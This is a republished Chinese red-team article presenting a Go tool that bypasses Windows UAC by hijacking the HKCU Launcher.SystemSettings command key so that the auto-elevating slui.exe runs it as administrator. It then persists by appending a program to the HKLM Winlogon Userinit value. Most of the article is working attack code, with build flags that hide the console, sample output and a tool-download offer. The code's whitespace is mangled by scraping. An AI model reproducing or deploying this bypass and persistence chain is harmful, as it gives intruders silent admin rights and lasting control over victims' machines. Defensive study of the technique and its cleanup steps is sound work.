基于slui实现UACbypass免杀添加计划任务

admin 2026-03-03 09:24:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档核心在于演示利用slui.exe自动提权机制绕过UAC,并结合WinlogonUserinit注册表劫持实现权限提升与持久化控制。内容涵盖Go语言实现的权限检测、注册表修改及触发提权的具体代码,阐述了从低权限检测到高权限执行及自启动的完整攻击链,同时提供了相应的清理恢复命令,强调了仅供授权安全研究使用。 综合评分: 85 文章分类: 免杀,红队,内网渗透,安全工具,实战经验


cover_image

基于slui 实现UAC bypass免杀添加计划任务

原创

hyyrent hyyrent

0xSecurity

2026年3月2日 17:47 广东

前言

结合 slui.exe 注册表劫持绕过 UAC 和 Winlogon Userinit 注册表持久化,实现无 UAC 弹窗运行任意程序,并在每次用户登录时自动执行

功能

  • UAC Bypass — 利用 slui.exe 自动提权机制绕过 UAC
  • 权限检测 — 查询进程 Token 判断当前权限
  • 登录持久化 — 劫持 Winlogon Userinit 注册表实现开机自启
  • 自重启机制 — 自动以管理员权限重启自身完成完整攻击链

技术分析

一、权限检测 — IsElevated()

通过 OpenProcessToken 打开当前进程 Token,查询 TokenElevation 判断是否已提权:

funcIsElevated() (bool, error) {
    vartokenwindows.Token

    process :=windows.CurrentProcess()
    err :=windows.OpenProcessToken(process, windows.TOKEN_QUERY, &token)
    iferr!=nil {
        returnfalse, fmt.Errorf("OpenProcessToken 失败: %w", err)
    }
    defertoken.Close()

    varelevationuint32
    varsizeuint32
    err=windows.GetTokenInformation(
        token,
        windows.TokenElevation,
        (*byte)(unsafe.Pointer(&elevation)),
        uint32(unsafe.Sizeof(elevation)),
        &size,
    )
    iferr!=nil {
        returnfalse, fmt.Errorf("GetTokenInformation 失败: %w", err)
    }

    returnelevation!=0, nil
}

elevation != 0 表示当前进程已具备管理员权限。

二、UAC Bypass — Bypass()

利用 slui.exe(Windows 激活界面)的自动提权特性。

slui.exe 是微软签名的 auto-elevate 二进制文件,启动时会查找以下注册表路径执行程序:

HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command

攻击步骤:

1. 写入注册表键

将 DelegateExecute 设为空值(阻止 COM 代理),将默认值设为自身路径 + 原始参数:

funcBypass() error {
    // ...
    if!elevated {
        // 阻止 COM 代理
        CreateRegKey("DelegateExecute", "")

        // 拼接完整命令:自身路径 + 原始参数
        selfExe, _ :=os.Executable()
        fullCmd :=selfExe
        for_, arg :=rangeos.Args[1:] {
            fullCmd+=" "+arg
        }

        // 写入注册表默认值
        CreateRegKey("", fullCmd)
        // ...
    }
}

2. 注册表操作

在 HKCU 下创建键并写入值:

funcCreateRegKey(name, valuestring) error {
    keyPath :=`Software\Classes\Launcher.SystemSettings\Shell\Open\Command`

    key, _, err :=registry.CreateKey(registry.CURRENT_USER, keyPath, registry.SET_VALUE)
    iferr!=nil {
        returnfmt.Errorf("创建注册表键失败: %w", err)
    }
    deferkey.Close()

    iferr :=key.SetStringValue(name, value); err!=nil {
        returnfmt.Errorf("设置注册表值 '%s' 失败: %w", name, err)
    }
    returnnil
}

3. 触发 slui.exe

通过 ShellExecuteW 启动 slui.exe,它会自动提权并读取被劫持的注册表键,以管理员权限执行 go_uac.exe <target>

funcRunAsAdmin(executablestring)&nbsp;error&nbsp;{
&nbsp; &nbsp;&nbsp;verbPtr,&nbsp;_&nbsp;:=syscall.UTF16PtrFromString("runas")
&nbsp; &nbsp;&nbsp;exePtr,&nbsp;_&nbsp;:=syscall.UTF16PtrFromString(executable)

&nbsp; &nbsp;&nbsp;ret,&nbsp;_,&nbsp;_&nbsp;:=procShellExecute.Call(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uintptr(unsafe.Pointer(verbPtr)),
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uintptr(unsafe.Pointer(exePtr)),
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uintptr(swShow),
&nbsp; &nbsp; )

&nbsp; &nbsp;&nbsp;ifret<=32&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnfmt.Errorf("ShellExecuteW 失败,返回值: %d",&nbsp;ret)
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;returnnil
}

4. 原进程退出

slui.exe 触发后原进程立即退出,新的 go_uac.exe 以管理员权限启动并继续执行后续步骤:

RunAsAdmin(`C:\Windows\System32\slui.exe`)
fmt.Println("[+] 已触发提权,等待以管理员权限重启...")
os.Exit(0)

三、持久化 — Persist()

利用 Winlogon Userinit 注册表劫持实现登录自启动。Userinit 值指定用户登录时执行的程序,默认为 userinit.exe,通过追加目标程序路径实现持久化:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
funcPersist(targetExestring)&nbsp;error&nbsp;{
&nbsp; &nbsp;&nbsp;keyPath&nbsp;:=`SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`

&nbsp; &nbsp;&nbsp;key,&nbsp;err&nbsp;:=registry.OpenKey(registry.LOCAL_MACHINE,&nbsp;keyPath,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;registry.QUERY_VALUE|registry.SET_VALUE)
&nbsp; &nbsp;&nbsp;iferr!=nil&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnfmt.Errorf("打开 Winlogon 注册表键失败: %w",&nbsp;err)
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;deferkey.Close()

&nbsp; &nbsp;&nbsp;// 读取当前 Userinit 值
&nbsp; &nbsp;&nbsp;userinit,&nbsp;_,&nbsp;err&nbsp;:=key.GetStringValue("Userinit")
&nbsp; &nbsp;&nbsp;iferr!=nil&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;userinit=`C:\Windows\system32\userinit.exe,`
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 避免重复添加
&nbsp; &nbsp;&nbsp;ifstrings.Contains(userinit,&nbsp;targetExe) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnil
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 追加目标路径(逗号分隔)
&nbsp; &nbsp;&nbsp;newUserinit&nbsp;:=strings.TrimRight(userinit,&nbsp;",")&nbsp;+","+targetExe
&nbsp; &nbsp;&nbsp;iferr&nbsp;:=key.SetStringValue("Userinit",&nbsp;newUserinit);&nbsp;err!=nil&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnfmt.Errorf("设置 Userinit 注册表值失败: %w",&nbsp;err)
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;returnnil
}

写入后注册表值变为:

原始值: C:\Windows\system32\userinit.exe,
劫持后: C:\Windows\system32\userinit.exe,C:\path\to\target.exe

每次用户登录时,Windows 会依次执行所有 Userinit 中列出的程序

输出示例

[+] Executing UAC Bypass
[+] 已触发提权,等待以管理员权限重启...

(以管理员权限重启后)

[+] Already running with elevated privs!
[+] Winlogon Userinit 已劫持: C:\Windows\system32\userinit.exe,C:\Windows\System32\cmd.exe
[*] 程序将在每次用户登录时自动运行
[+] 正在启动: C:\Windows\System32\cmd.exe
[*] Done!

编译命令

gomodtidy
# 隐藏控制台窗口(可选)
gobuild-ldflags="-H windowsgui"-ogo_uac.exe.

清理恢复

# 恢复 Winlogon Userinit 为默认值
Set-ItemProperty"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"-NameUserinit-Value"C:\Windows\system32\userinit.exe,"

# 删除 UAC bypass 注册表键
Remove-Item"HKCU:\Software\Classes\Launcher.SystemSettings"-Recurse-Force

免责声明

本工具仅供教育和授权安全研究使用。未经授权对非自有系统使用本工具属于违法行为,作者不承担任何滥用责任。

关注公众号私信发送 uacbypass 获取工具


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0xSecurity hyyrent hyyrent《基于slui 实现UAC bypass免杀添加计划任务》

评论:0   参与:  0